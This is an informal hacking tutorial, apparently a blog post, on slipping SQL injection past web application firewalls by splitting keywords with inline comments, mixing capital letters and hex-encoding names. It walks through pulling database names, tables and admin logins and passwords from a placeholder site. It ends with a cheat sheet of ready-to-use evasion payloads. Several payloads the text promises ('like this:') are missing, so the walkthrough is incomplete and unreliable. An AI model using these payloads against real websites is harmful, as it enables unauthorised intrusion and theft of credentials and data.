OK, so I showed you how to perform some basic SQLi previously, but there will be times that it starts off working and then you find yourself facing a FORBIDDEN page (403 Error). Typically you can find the vulnerable page, find the column count and then when you switch to use the UNION SELECT statement you get the errors starting up. This is typically due to the server side rules that are filtering out your request. This is often referred to as the Web Application Firewall or WAF, but don’t worry as there are ways we can beat them. You can get pretty creative with the methods used but for now I will show how to use comments to bypass the filters, sometimes referred to as inline comments or C comments.

I will re-use some of my previous examples and assume the following details have gotten us to where we are now:
 http://www.site.com/index.php?id=725                                                          (No Errors)h
 http://www.site.com/index.php?id=725’                                                          (Errors!!)
 http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5--                   (No Errors)
 http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5,6--                  (Errors!!)


Now we will see if we can get one past the WAF system by using some comments to hide the parts of our statement that our most likely being filtered. In basic form it will look like this:

http://www.site.com/index.php?id=725+UNION+SELECT+1,2,3,4,5--                    (403 Forbidden)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5--                   (403 Forbidden)


Now there is no more 403 Forbidden message stopping you and you can see the vulnerable columns displayed on the page. I will re-use my examples and assume columns 2, 4, & 5 are vulnerable. Now that we have the vulnerable columns we can extract some data, let’s first find some basic info though. We will use CONCAT to grab the current database name, the current user, and the version info, like this:


OK, so now we have commented out our UNION SELECT statement but something is still setting off the filters… it is most likely the CONCAT statement. In some cases it is possible to bypass filters by simply changing the norm up and re-testing. This can be accomplished by comments or by simply changing CaPiTAliZaTIon, like so:

·         Version = 5.0.92-community-log
·         User = dumbdba@localhost
·         Database() = exampleDB


It worked; we now know the current database name, user name and the version as they are neatly displayed on the page for us. These two techniques can be combined to evade filters throughout your Injections as you will see. Now let us try to get the list of all the databases available, instead of just the current one, like so:


Luckily we know what to do now so start by altering GROUP_CONCAT, same as we did for CONCAT:

·         Information_Schema
·         exampleDB


This should now show us the available databases! Now let us check for the tables tied to the current database.

In some cases you may have experienced a 403 in the previous step as well, it is due to the fact that often times INFORMATION_SCHEMA or TABLES will be filtered. Again, this changes from site to site based on how it was configured so it could even be other items but these are the most common. In order to get around the filters we simply need to use our comments method again, so it looks like this:

TABLES FOUND:  Admin, News, Ads, Users

Now we have all of the tables for the current database displayed on the page without any 403 holding us back. We can get columns using the same method as we used in the Basic SQLi 101 examples but we will keep our comments and capitalization techniques alive so it gets past the WAF (reminder to also HEX your table names).

The page will now display a list of the columns from the Admin table in the vulnerable column 2 spot on page. In this example we will assume we found the following column names:
·         id
·         login
·         password
·         email

OK, now it we know the tables and associated columns. It is time to get some data extracted, and it will go the same as it did in the Basic SQLi tutorial, or like this:

Alright, you have successfully gotten past a WAF system! That sums up my coverage of WAF Bypassing and I hope you have enjoyed it and found it be informative. If you did, please make sure you check out back often to see what new pages get added. If you feel I missed anything please let me know so I can update things accordingly. Below is some additional material that may be useful while you are on this topic…as always, Enjoy!

Laters - H.R.

Admins will filter all kinds of things, like words (UNION, SELECT, LIKE) and symbols (=, !=, ‘) so here is some additional examples to help get you on your way:

Using the comments to break up the possible standard versions that would be used and therefore possible filtered.
·         /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
o   union select column from table
·         /*!union*/+/*!select*/+1,2,3—
o   Union select 1,2,3
·         /*!UnIOn*//*!SeLect*/+1,2,3—
o   Union select 1,2,3
·         un/**/ion+sel/**/ect+1,2,3—
o   Union select 1,2,3
·         /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
o   Union select 1,2,3
·         Query within query (stacked query) and both methods in use:
o   ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

If you can’t use the WHERE function, try replacing with some form of the LIMIT function:
·         LIMIT 0,1
o   note that 0,1 gets 1 result starting from the 0th row (first entry)
o   to view the second table, we change limit 0,1 to limit 1,1

If you can’t use the “=” sign try using the not equal to sign “!=” instead to see if you can use this to find other items based on any base you have found. i.e. If you know the current DB, you could then check for !=databse() to possibly find alternative databases (or tables or columns) in your request statement

If you can use one, you might be able to try another:
·         If substring() is being filtered you can also use mid() OR substr() to get similar results
o   select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
·         If ascii() is being filtered you can also use hex() OR bin() to get similar results
·         If you can’t use benchmark() you might also try sleep()
·         0x3a can be used to replace a colon ':' as it is the HEX value
o   Helpful in separating results
o   i.e. group_concat(user,0x3a,fd_Password) = user:fd_Password
·         0x0a can be used to create new line for results to be displayed easier

I like to start when doing my vulnerability checks to see how the system is filtering things. If you try using double quotes, single quotes, pound symbols, comments, etc all to both see if they trigger any errors indicating the site is vulnerable but also to take note of the methods being used to filter input.
·         ‘ becomes “’ or */, play with things and take mental notes and you will see patterns over time, same is true of errors when UNION is missing or CONCAT it is another clue of what is going on the other side
o   I have not found a complete list but would like to have one for reference of which filters indicate what type of WAF/IDS is in use, so if anyone has something please message me or send my way so I can make an update to include

The point here is to get creative as it typically only filters what the admin configures and they still need to allow for legitimate use of some items so there will always be options it is just making them work for you. Until next time…Enjoy!

OTHER REFERENCES:Basic SQL Injection for starters can be found here: SQLi 101
Advanced Techniques on Blind Injection & Time-Based Injection can be found here: BLIND & TIME-BASED INJECTION